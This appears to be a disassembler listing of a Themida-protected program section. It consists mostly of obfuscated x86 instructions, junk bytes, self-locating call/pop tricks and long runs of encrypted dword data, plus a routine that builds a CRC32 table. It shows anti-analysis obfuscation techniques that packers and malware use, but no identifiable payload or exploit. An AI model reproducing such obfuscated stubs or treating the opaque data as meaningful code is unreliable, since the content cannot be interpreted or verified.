		dd 81242489h, 42404h, 81580000h, 4ECh, 242C8900h, 0FF08408Fh
		dd 81582434h, 4C4h, 2434FF00h, 4C4835Dh, 0F92933E9h, 58A120FFh
		dd 81270C4Fh, 9791EFA1h
		db 83h
; ---------------------------------------------------------------------------


loc_5C0BB1:				; CODE XREF: Themida_:005C062Cj
		mov	eax, 61756B8h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 531Dh
		dd 2A5A0F26h, 0FDFA2E93h, 9374756Ch, 8E9B07E4h,	90BA320Ah
		dd 0D4F3386Ah, 94A6732Ah, 402B7D64h, 1AC04194h,	8711424h
		dd 0E10D3A9Dh, 2E6E3BB2h, 0A86B73CDh, 0EB712392h, 0AA465EC9h
		dd 5D167838h, 0E35839EFh, 13E86AF1h, 35000000h,	3B319EA4h
		dd 2537662Ch, 672D0C3Dh, 210A55A1h, 0FE94DD0h, 0DA000000h
		dd 0EDE810B0h, 0AA11DA75h, 0E49B8E58h, 0F5816CFh, 0C081D8BFh
		dd 6F28h, 82BFCA8Bh, 0E800001Bh, 0Dh, 4D7893E7h, 0B590EA08h
		dd 52F46208h, 11E8AFh, 4CFF0000h, 6422E99Eh, 0AD636F7Ah
		dd 4D044876h, 0F59225Ch, 87h, 0FF5A5B00h, 5ECDB630h, 7E06BA66h
		dd 0F064EE81h, 8B660934h, 7BEE81CAh, 0E9020F9Eh, 0Ah, 934F25F9h
		dd 0DE561F00h, 0F68196EAh, 5C75F339h, 9CDB8166h, 12E956FCh
		dd 54000000h, 0F3152BF1h, 0ABFBB08Bh, 0DC562DD5h, 4764756Fh
		dd 0F008F3Dh, 68Ch, 3ACB8100h, 8363D67Fh, 0BE903E8h, 0E000000h
		dd 8611FEABh, 600E2DDDh, 0F4842A7h, 0EF81DBBFh,	1, 1A850Fh
		dd 0BA660000h, 38E9A5CDh, 75000000h, 4A06F2B3h,	25ECD6ACh
		dd 89D24804h, 0A0B29521h, 0AE8h, 0DCC7BF00h, 5999A46Eh
		dd 66E58CA3h, 6D80EB81h, 0FF51E95Bh, 0AB93FFFFh, 0DBDEA94Dh
		dd 0B37C077Ch, 0E846046Bh, 0Ah,	5D933AF1h, 4DF57707h, 0B70FECC3h
		dd 10E95BF8h, 81000000h, 8A5E14EDh, 72FB698Bh, 3DA1BF8Fh
		dd 815E49D0h, 7173C3h, 33D38A00h, 8BF18BC9h, 9E90B04h
		dd 89000000h, 0CE487033h, 0F6818263h, 0E4AFF081h, 0B70F1926h
		dd 17C081F6h, 0BA6211F1h, 1E771E9Eh, 6E70F081h,	0BE66332Fh
		dd 489EE45h, 5E9F90Bh, 0A0000000h, 4312F810h, 4901E983h
		dd 0F9814949h, 0FFFF8F20h, 0FFB1850Fh, 13E8FFFFh, 84000000h
		dd 0D6450235h, 0FB300D4Bh, 8D25072Bh, 0FD953A8Bh, 8B5FFEE7h
		dd 8DBD83C0h, 61015h, 0BD830975h, 6100095h, 50197400h
		dd 0B8C08B53h, 421h, 0E658589h,	9D8D0610h, 612B815h, 585BD3FFh
		dd 95BD83h, 74000610h, 0B8535017h, 421h, 0E658589h, 9D8D0610h
		dd 612B504h, 585BD3FFh,	9D8BC08Bh, 6101FD5h, 23E585C6h
		dd 68560610h, 9CA8B852h, 1D45B5FFh, 858D0610h, 613858Ah
		dd 46AD0FFh, 100068h, 0D9B5FF00h, 6A061032h, 85D0FF00h
		dd 0D850FC0h, 0B8000000h, 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+61073A3h]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	ecx, eax
		mov	eax, ebx
		add	eax, [eax+3Ch]
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ebx
		cmp	dword ptr [ebp+6100F51h], 0
		jz	loc_5C0E88
		mov	ebx, [ebp+6100F51h]
		mov	eax, [ebp+61015E9h]
		mov	[ebx], eax


loc_5C0E88:				; CODE XREF: Themida_:005C0E74j
		push	ecx
		push	edx
		lea	eax, [ebp+61042D8h]
		call	eax
		mov	edi, edx
		mov	esi, ecx
		mov	edx, ecx
		mov	ecx, eax
		rep movsb
		mov	byte ptr [ebp+61023E5h], 56h
		push	0D41F6D39h
		push	dword ptr [ebp+6101D45h]
		lea	eax, [ebp+613858Ah]
		call	eax
		push	8000h
		push	0
		push	edx
		call	eax
		mov	eax, eax
		cmp	dword ptr [ebp+610158Dh], 0
		jnz	short loc_5C0ED4
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_5C0EED


loc_5C0ED4:				; CODE XREF: Themida_:005C0EC9j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 421h
		mov	[ebp+610132Dh],	eax
		lea	ebx, [ebp+612B87Ch]
		call	ebx
		pop	ebx
		pop	eax


loc_5C0EED:				; CODE XREF: Themida_:005C0ED2j
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_5C0F0D
		push	eax
		push	ebx
		mov	eax, 421h
		mov	[ebp+610132Dh],	eax
		lea	ebx, [ebp+612B51Dh]
		call	ebx
		pop	ebx
		pop	eax


loc_5C0F0D:				; CODE XREF: Themida_:005C0EF4j
		mov	eax, eax
		lea	ebx, [ebp+6100F51h]
		mov	eax, [ebx]
		or	eax, eax
		jz	loc_5C0F26
		mov	eax, [ebx]
		mov	ebx, [ebx+4]
		mov	[eax], ebx


loc_5C0F26:				; CODE XREF: Themida_:005C0F19j
		mov	eax, 4B41h
		call	sub_5C0F43
		scasd
		pop	edi
		daa
		mov	edx, 0A4F41CA7h
		inc	esp
		das
		mov	ah, 56h
		push	ebp
		sbb	esi, ebx
		mov	edi, [ebp+3Bh]

; =============== S U B	R O U T	I N E =======================================



sub_5C0F43	proc near		; CODE XREF: Themida_:005C0F2Bp
		and	edx, 424ED29Ch
		pop	eax
		call	sub_5C0F60
		xor	al, [ebx]
		pop	ebp
		aaa
		retn	0A374h
sub_5C0F43	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 7139h
		dd 0B0739AA4h, 2E049393h

; =============== S U B	R O U T	I N E =======================================



sub_5C0F60	proc near		; CODE XREF: sub_5C0F43+7p
		jge	loc_5C0F68
		pusha
		popa


loc_5C0F68:				; CODE XREF: sub_5C0F60j
		pop	edx
		add	eax, 0E811h
		mov	di, 1D07h
		push	0
		pusha
		pusha
		mov	bl, dh
		push	ecx
		pop	ebx
		popa
		popa
		pop	esi
		and	dh, 89h


loc_5C0F84:				; CODE XREF: sub_5C0F60+89j
		push	dword ptr [esi+eax]
		jnz	loc_5C0F97
		jnz	loc_5C0F97
		mov	di, 351h


loc_5C0F97:				; CODE XREF: sub_5C0F60+27j
					; sub_5C0F60+2Dj
		pop	ecx
		adc	bx, 0CA6Eh
		sub	ecx, 267F66B9h
		stc
		xor	ecx, 20A74783h
		mov	di, 0CEE8h
		add	ecx, 2ACCC123h
		sbb	ebx, 7FCE69Fh
		push	ecx
		mov	dx, 0D521h
		pop	dword ptr [eax+esi]
		mov	edi, esi
		jnp	loc_5C0FD0
		sbb	edi, 1750A196h


loc_5C0FD0:				; CODE XREF: sub_5C0F60+64j
		sub	esi, 5D7AF0B6h
		mov	di, 5AA0h
		add	esi, 5D7AF0B2h
		sbb	bh, 0Fh
		cmp	esi, 0FFFF18ACh
		jnz	loc_5C0F84
		mov	bl, ah
		call	sub_5C0FFF
		adc	esp, ecx
		mov	dl, 94h
		pop	es
		test	bl, ah
		cmc
		movsb
sub_5C0F60	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5C0FFF	proc near		; CODE XREF: sub_5C0F60+91p
		jmp	sub_5C1013
sub_5C0FFF	endp

; ---------------------------------------------------------------------------
		dd 6FE0DD6Bh, 3AE4A8A9h, 1CF20108h
		db 51h,	1Dh, 54h

; =============== S U B	R O U T	I N E =======================================



sub_5C1013	proc near		; CODE XREF: sub_5C0FFFj

; FUNCTION CHUNK AT 005C10CA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005C10DF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005C1101 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005C1112 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005C1132 SIZE 00000011 BYTES

		pop	esi
		cld
		add	esi, 6638h
		jnz	loc_5C1024
		movzx	ecx, cx


loc_5C1024:				; CODE XREF: sub_5C1013+8j
		push	0
		pusha
		jmp	loc_5C103C
; ---------------------------------------------------------------------------
		db 49h
		dd 8344C586h, 0D0956F7Ch, 0EC316951h
; ---------------------------------------------------------------------------


loc_5C103C:				; CODE XREF: sub_5C1013+17j
		mov	dx, di
		popa
		pop	ebx
		jmp	loc_5C105A
; ---------------------------------------------------------------------------
		dw 473Eh
		dd 0AAD27B67h, 9A3F409Bh, 8E55CD3Ch, 2874B18Eh
; ---------------------------------------------------------------------------
		mov	bh, 74h


loc_5C105A:				; CODE XREF: sub_5C1013+2Ej
		push	dword ptr [ebx+esi]
		jmp	loc_5C106E
; ---------------------------------------------------------------------------
		fdiv	st(6), st
		pop	esp
		inc	ebp
		add	cl, dl
		jmp	short loc_5C10CA
; ---------------------------------------------------------------------------
		dw 79Ah
		db 7Ah,	0A0h
; ---------------------------------------------------------------------------


loc_5C106E:				; CODE XREF: sub_5C1013+4Aj
		pop	eax
		cld
		xor	eax, 276BFDD5h
		cmc
		xor	eax, 0DD83FA7h
		and	cl, 0ABh
		sub	eax, 602FAF61h
		call	near ptr loc_5C109A+5
		push	ebp
		cmp	[edx+edx*2+4Fh], dl
		xchg	dh, bl
		mov	dl, 3Eh
		sub	al, 9Bh
		repne push ds
		loope	locret_5C10F1


loc_5C109A:				; CODE XREF: sub_5C1013+73p
		jmp	far ptr	0BF66h:5FC80E45h
sub_5C1013	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	al, 4Eh
		pop	edx
		push	eax
		pop	dword ptr [esi+ebx]
		jmp	loc_5C10C1
; ---------------------------------------------------------------------------
		dd offset dword_4CBB28+0ED7h
		db 0DEh, 6Ch, 0A3h
		dd 0DAFD8631h, 4E98B989h, 62517BFCh
		db 23h
; ---------------------------------------------------------------------------


loc_5C10C1:				; CODE XREF: Themida_:005C10A8j
		mov	edx, 0CC12BB9h
		sub	ebx, 2
; ---------------------------------------------------------------------------
		db 66h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5C1013


loc_5C10CA:				; CODE XREF: sub_5C1013+55j
		mov	edi, eax
		dec	ebx
		dec	ebx
		pusha
		or	bh, 0Ah
		jmp	loc_5C10DF
; END OF FUNCTION CHUNK	FOR sub_5C1013
; ---------------------------------------------------------------------------
		xchg	eax, edx
		fcomi	st, st
		mov	dl, 0Dh
		mov	cl, 39h
		pop	es
; START	OF FUNCTION CHUNK FOR sub_5C1013


loc_5C10DF:				; CODE XREF: sub_5C1013+BFj
		popa
		cmp	ebx, 0FFFF9B00h
		jnz	loc_5C1112
		jmp	loc_5C1101
; ---------------------------------------------------------------------------

locret_5C10F1:				; CODE XREF: sub_5C1013+85j
		iret
; END OF FUNCTION CHUNK	FOR sub_5C1013
; ---------------------------------------------------------------------------
		dw 0FAF7h
		dd 7A2BD0EFh, 0D784E00Ch, 55919D25h
; ---------------------------------------------------------------------------
		cli
; START	OF FUNCTION CHUNK FOR sub_5C1013


loc_5C1101:				; CODE XREF: sub_5C1013+D9j
		jmp	loc_5C1132
; END OF FUNCTION CHUNK	FOR sub_5C1013
; ---------------------------------------------------------------------------
		dw 64C9h
		dd 1A2F4A9Bh, 0CB2D885Dh
; ---------------------------------------------------------------------------
		add	eax, esp
; START	OF FUNCTION CHUNK FOR sub_5C1013


loc_5C1112:				; CODE XREF: sub_5C1013+D3j
		call	near ptr locret_5C111A+2
		cdq
		in	eax, dx
		pop	esp

locret_5C111A:				; CODE XREF: sub_5C1013:loc_5C1112p
		retn	815Bh
; END OF FUNCTION CHUNK	FOR sub_5C1013
; ---------------------------------------------------------------------------
		db 0D9h, 3, 65h
		dd 0E95F50ECh, 0FFFFFF32h, 62774E95h, 95B10D9h
		db 8Eh,	3Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5C1013


loc_5C1132:				; CODE XREF: sub_5C1013:loc_5C1101j
		lea	ecx, [ebp+6175D98h]
		push	0
		push	ebp
		call	sub_5C1143
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5C1013

; =============== S U B	R O U T	I N E =======================================



sub_5C1143	proc near		; CODE XREF: sub_5C1013+128p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5C1143	endp

; ---------------------------------------------------------------------------
		mov	ch, 0BAh
		dec	ebp
		mov	[ebp+61009F5h],	ecx
		push	ecx
		jbe	loc_5C1168
		mov	edx, 10AA1161h


loc_5C1168:				; CODE XREF: Themida_:005C115Dj
		pop	edi
		mov	si, ax
		mov	dword ptr [ebp+6102319h], 683Ch
		push	0
		push	ebx
		call	sub_5C1181
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1181	proc near		; CODE XREF: Themida_:005C1179p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5C1181	endp

; ---------------------------------------------------------------------------
		jnz	short near ptr loc_5C1201+1
		xor	al, 47h
		dec	ebp
		lea	esp, [ebx]
		jb	short loc_5C1201
		mov	dword ptr [ebp+61022C1h], 0
		mov	[ebp+6101C41h],	edi
		push	dword ptr [ebp+61030C5h]
		pusha
		sbb	ax, 0FFBDh
		xor	[ebp+6102EFDh],	ecx
		popa
		pusha
		jmp	loc_5C11CB
; ---------------------------------------------------------------------------
		db 0FCh
		dd 4DD54B1Eh
		db 23h,	0B2h, 0Eh
; ---------------------------------------------------------------------------


loc_5C11CB:				; CODE XREF: Themida_:005C11BEj
		popa
		call	dword ptr [ebp+6102DB9h]
		push	0
		push	ecx
		call	sub_5C11DD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C11DD	proc near		; CODE XREF: Themida_:005C11D5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5C11DD	endp

; ---------------------------------------------------------------------------
		db 6, 72h, 2Ch
		dd 0BB666ECFh, 0E781540Eh, 1FEB57BBh, 95FF006Ah
; ---------------------------------------------------------------------------
		leave


loc_5C1201:				; CODE XREF: Themida_:005C1198j
					; Themida_:005C1191j
		xor	[eax], edx


loc_5C1203:				; DATA XREF: Themida_:0054D0ACo
					; Themida_:0054E368o
		push	es
		mov	eax, eax
		jmp	short loc_5C1244
; ---------------------------------------------------------------------------
		dd 3746288h, 88A82DFFh,	92654B8Eh, 90A1689Dh, 0E411EC62h
		dd 608091Dh, 3C978420h,	0F2D0E058h, 47A8F2B5h, 0A0C26B21h
		dd 73A1DDB2h, 9CE67581h, 0F211F234h, 0C835AA8Ch, 0F9F8FD2Ch
; ---------------------------------------------------------------------------


loc_5C1244:				; CODE XREF: Themida_:005C1206j
		lea	ecx, [ebp+6175E59h]
		push	0
		push	ebx
		call	sub_5C1255
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1255	proc near		; CODE XREF: Themida_:005C124Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5C1255	endp

; ---------------------------------------------------------------------------
		db 0A1h, 4Dh, 0B7h
; ---------------------------------------------------------------------------
		add	edx, [eax-749D39CCh]
		popf
		mov	cl, 1Fh
		adc	[esi], al
		mov	[ebp+61009F5h],	ecx
		sub	[ebp+6100D41h],	ecx
		mov	dword ptr [ebp+6102319h], 6534h
		mov	[ebp+6101159h],	edi
		mov	dword ptr [ebp+61022C1h], 0
		mov	[ebp+610298Dh],	edi
		mov	[ebp+610336Dh],	ecx
		push	dword ptr [ebp+61008A1h]
		cld


loc_5C12AC:				; CODE XREF: Themida_:005C12DAj
		call	dword ptr [ebp+6102DB9h]
		push	edi
		sub	[ebp+61020A9h],	ecx
		pop	edi
		movzx	ebx, ax
		push	0


loc_5C12BF:				; DATA XREF: Themida_:0054DF04o
					; Themida_:0054E7D8o
		call	dword ptr [ebp+61031C9h]
		mov	eax, eax
		jmp	short loc_5C1328
; ---------------------------------------------------------------------------
		wait			; (emulator call)
		and	al, 0B7h
		push	eax
		rol	byte ptr [edx+28879AE0h], 1
		xor	[esi+edx*8], cl
		or	al, 0BCh
		scasb
		jecxz	short loc_5C12AC
		mov	edi, 0E380FE38h
		add	byte ptr [ecx],	0A4h
		stosb
		std
		xchg	eax, esi
		retf
; ---------------------------------------------------------------------------
		dd 0B01EF392h, 9163B314h, 0F03C4A3h, 1047A1E9h,	0F7369AF9h
		dd 0C670F1ABh, 0D1662E96h, 0D9EB7851h, 3E2CB32Fh, 0B48FE166h
		dd 0F3628176h, 0E2A867EEh, 0E3767663h, 0B49EB158h, 0A17877h
		dd 63F38D1Dh
; ---------------------------------------------------------------------------


loc_5C1328:				; CODE XREF: Themida_:005C12C7j
		jmp	loc_5C1368
; ---------------------------------------------------------------------------
		pusha
		mov	edi, [ebp+61030A9h]
		sub	edi, 4
		xor	ecx, ecx


loc_5C1339:				; CODE XREF: Themida_:005C1360j
		mov	eax, ecx
		mov	ebx, 0EDB88320h
		add	edi, 4
		mov	esi, 8


loc_5C1348:				; CODE XREF: Themida_:005C1351j
		shr	eax, 1
		sbb	edx, edx
		and	edx, ebx
		xor	eax, edx
		dec	esi
		jnz	loc_5C1348
		inc	ecx
		mov	[edi], eax
		cmp	ecx, 100h
		jb	loc_5C1339
		popa
		retn
; ---------------------------------------------------------------------------


loc_5C1368:				; CODE XREF: Themida_:loc_5C1328j
		mov	ecx, eax
		lea	ebx, [ebp+6102FC5h]
		mov	eax, 13A8h
		mov	[ebp+6101ED9h],	eax
		call	$+5
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5C2735
; ---------------------------------------------------------------------------
byte_5C138D	db 3 dup(0)		; DATA XREF: Themida_:0054E430o
		dd 4E7h	dup(0)
		db 0
byte_5C272D	db 3 dup(0)		; DATA XREF: Themida_:0054C37Co
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_5C2735:				; CODE XREF: Themida_:005C1388j
		jmp	loc_5C27D9
; ---------------------------------------------------------------------------
		dw 0C363h
		dd 974DCC80h, 0B86DEC60h, 974CCB7Fh, 0B557DE5Ah, 0B8C4C276h
		dd 0F367A64Ah, 0CC80C164h, 0EA5E994Dh, 0CB7FB46Bh, 952DDCE0h
		dd 716BDB0Eh, 7D32A874h, 0DAC601A5h, 0BD867A56h, 0B02C691Eh
		dd 0CC7C4EF9h, 0F315B16Dh, 8CFA6D8Ah, 719237B1h, 92F112F3h
		dd 0C5Ah, 215FB200h, 0C464F2Ch,	5774A7F0h, 3D8032CDh, 64995249h
		dd 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h
		dd 5B943950h, 417830A7h, 0CF68CF55h, 0E9061772h, 0FFF90D0Ch
		dd 75EF85B2h, 8B8131E4h, 0E1205DEh
; ---------------------------------------------------------------------------
		lahf


loc_5C27D9:				; CODE XREF: Themida_:loc_5C2735j
		dec	dl
		inc	ecx
		mov	ecx, ds:490326A8h
		mov	cl, [ebx+ecx*4-2A5457F3h]
		jmp	far ptr	2CA8h:0D886475h
; ---------------------------------------------------------------------------
		dd 0BA8A4900h, 9957AE5Dh, 548A4900h, 0ABA80D89h, 1F75EAD5h
		dd 0CFA80D89h, 998A4901h, 49A80D89h, 138A4906h,	0ABA80D8Eh
		dd 2575EAD5h, 2031D42Fh, 0C003133Dh, 52BF22D2h,	308D90A7h
		dd 0D12157B5h, 439D665Eh, 21F6D42Fh, 0C003133Dh, 52BF22DAh
		dd 303C90A7h, 0D12157B5h, 439D66AAh, 22A5D42Fh,	0C003133Dh
		dd 52BF2226h, 33E890A7h, 0D12157B5h, 439D66A6h,	220ED42Fh
		dd 0C003133Dh, 52BF2232h, 336590A7h, 0D12157B5h, 439D66B2h
		dd 2398D42Fh, 0C003133Dh, 52BF223Eh, 32FB90A7h,	0D12157B5h
		dd 439D668Ah, 231AD42Fh, 0C003133Dh, 52BF2206h,	326190A7h
		dd 0D12157B5h, 439D6682h, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 52FE46C0h, 0A8ED96A4h, 458A152Ah
		dd 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h
		dd 0CE75EAD5h, 0B13AAE63h, 848C0534h, 11AB5342h, 55FFEA22h
		dd 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h
		dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch
		dd 660351A2h, 0EE27BFEAh, 0DDA7DB2Fh, 9475133Dh, 0D9020112h
		dd 52031AA0h, 0EC79AEA4h, 41AE51A1h, 5B22DC09h,	0BA8C02A3h
		dd 0DF103773h, 0C821732Ah, 43215E28h, 0FD5BEA2Ch, 508C152Bh
		dd 4A009881h, 0ABAE462Bh, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h
		dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 52FF06C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah
		dd 44B4F030h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h
		dd 52031AA0h, 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h
		dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h
		dd 458A15C2h, 0BE290BA2h, 439D6040h, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 0D775532Ah, 52B84D03h, 0CE19CDA1h, 979BFC69h
		dd 0EFE2A5B9h, 0D9F9FA31h, 52031AA0h, 0D79AEA4h, 2320949Ah
		dd 328C651Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
		dd 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h,	0A82851A2h
		dd 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h,	45869025h
		dd 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch,	0A8D5D8AEh
		dd 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh
		dd 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h
		dd 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h,	0B28A152Ah
		dd 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h,	7F039191h
		dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h,	2576D1A9h
		dd 0DFA02429h, 4D1957h,	54A8515Eh, 9D00B92Ah, 0D4A7B222h
		dd 860085E1h, 5B22DC08h, 0BA8C02A3h, 0FEF8E173h, 0CC859FA7h
		dd 855757B5h, 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
		dd 54AFE9A2h, 0D775152Ah, 52B84F47h, 0C8204526h, 43215E28h
		dd 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h,	0EFAEA580h
		dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
		dd 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h,	592B87D5h
		dd 8C2357B2h, 0EF491786h, 0DDA7DB2Fh, 9475133Dh, 0BD28E9C4h
		dd 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h
		dd 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h
		dd 0E418EA80h, 0DFAE41BEh, 8558B9E2h, 5B32DC08h, 0BA8C02A3h
		dd 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h
		dd 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h
		dd 54A851A2h, 0D775BF86h, 52B84D03h, 7726DDA1h,	0CE25FB63h
		dd 439D9C25h, 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h
		dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh, 52031AB0h
		dd 327BAEA4h, 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh
		dd 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h
		dd 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 0CC858FA7h, 875757B5h
		dd 320A09Ah, 0CE25FB0Eh, 439D9C25h, 0ECCE825Dh,	0EEECD8ACh
		dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 52F22EC0h, 0A8ED96A4h, 458A152Ah
		dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah,	162C5E89h
		dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
		dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah,	54A851D6h
		dd 0BA8660D5h, 0CE2559D7h, 439D665Ah, 1332DCF1h, 0BA8C025Eh
		dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 43DBD138h
		dd 0DF07462Ch, 52BF25E5h, 3C6D5h, 5492B85Eh, 3075152Ah
		dd 5CDDAEAEh, 36068FA7h, 0D9FB57B5h, 52FE52B0h,	0DD7BAEA4h
		dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0CC32DCAAh, 168C0259h
		dd 20EFCB2Fh, 9675133Dh, 0BD54142Bh, 458A152Ah,	0A8EDDAC3h
		dd 4582D7E3h, 3044BAh, 0C00CEB00h, 0F355F392h, 955E6572h
		dd 0E992D690h, 662h, 656E9h, 2F721400h,	0D44FC7Bh, 0EA23CA51h
		dd 744E76Eh, 0E120C453h, 0D1037F6Dh, 0ED6CE01Fh, 0B83FFB3Ch
		dd 0D463D712h, 4742F62Bh, 50CB675h, 0BE86BDBh, 44793241h
		dd 900DE50h, 6DCC7CB9h,	6FEC015Dh, 83FE5BBh, 0F0A138ECh
		dd 20C4C3AFh, 755F9D46h, 0E5DEA77h, 3B37EB07h, 0B86C6B17h
		dd 590E8D79h, 6D1C421Ch, 6DCC4CD5h, 4CA61C0Fh, 0E23E6DCCh
		dd 0F151382Ah, 156DCC4Ch, 5E203D19h, 0C480C267h, 154697DCh
		dd 2B203A16h, 933FB620h, 84F3C80Fh, 6C834C71h, 0BE0407D9h
		dd 566DCCA3h, 8A01FDDAh, 0AD1ABE2h, 0FC782C61h,	43D21FDFh
		dd 0D27349FDh, 6581E591h, 0BF91B5B1h, 0CDE2ACA1h, 0E2AE7E7Dh
		dd 14B81E05h, 0E84467F7h, 0AFE89D3Ch, 4C3F21FBh, 942514F6h
		dd 9BD0770Eh, 7419A2B7h, 14FC4645h, 1C189425h, 14FB4742h
		dd 3F1B9425h, 0E3FD6F23h, 14B40EFDh, 0D4509425h, 25149D25h
		dd 0E0FD7994h, 0C157E223h, 0F433D528h, 0AAE58900h, 851C03F6h
		dd 0A43B6437h, 4A8C2922h, 97F8C9CFh, 1B54F9C2h,	8DB3429Fh
		dd 30BBA0D7h, 921A2F06h, 5554264Ah, 0C1F249F5h,	0F611511h
		dd 8358994Ch, 63D712B8h, 0FFF32ED4h, 0B4E01958h, 56EDD64Bh
		dd 6CE01BCFh, 1DB0017h,	87BAE10Ah, 0DE5D8320h, 873BEA2Bh
		dd 3D2CA70Eh, 0A70EF44Eh, 5C14102Ch, 0B4139FF7h, 3D195343h
		dd 0ECFE5A20h, 8AB1712h, 0B0162CA7h, 7F9AA74Bh,	4BBD2CAh
		dd 233F23CFh, 0B5115846h, 582CA794h, 9061841Bh,	70F1FF4Dh
		dd 0Ch,	0DE15CB8Eh, 88404309h, 8C000003h, 55417C32h, 6DAC60DBh
		dd 0E9FE37EEh, 8E82BB72h, 7D26B587h, 0A2BEF9ADh, 0C65572EEh
		dd 0E9C2AB2Fh, 0DCA86A1Dh, 47FBAEC0h, 9F6DCC6Ch, 792DA6C3h
		dd 0ABC7FCA3h, 0C702A82Fh, 251BB8B5h, 423E1D40h, 0F5E2017Ah
		dd 0E6032561h, 26054638h, 990331F0h, 0CC96805Dh, 0AC750CB7h
		dd 7CC6C5F6h, 986DCCD0h, 7504B89Ch, 88C597D0h, 5B111BB0h
		dd 0C7F47024h, 0B190DACBh, 4E01A611h, 0BC6A7F63h, 792D6A1Dh
		dd 27CA916Fh, 0E99B3AE6h, 567AF6AAh, 0C703A281h, 5F134EF4h
		dd 0B86DE603h, 1A20A289h, 68C46DCCh, 10043BF1h,	2D1E3014h
		dd 0FAA0C4B7h, 0CD916609h, 0B87C0F1Eh, 41E675F1h, 37141004h
		dd 7789C87Ch, 0E023FE4h, 0FA813512h, 6B6A1657h,	230270BAh
		dd 2EE221C3h, 0AC9F0532h, 21458026h, 851E5145h,	65A647EEh
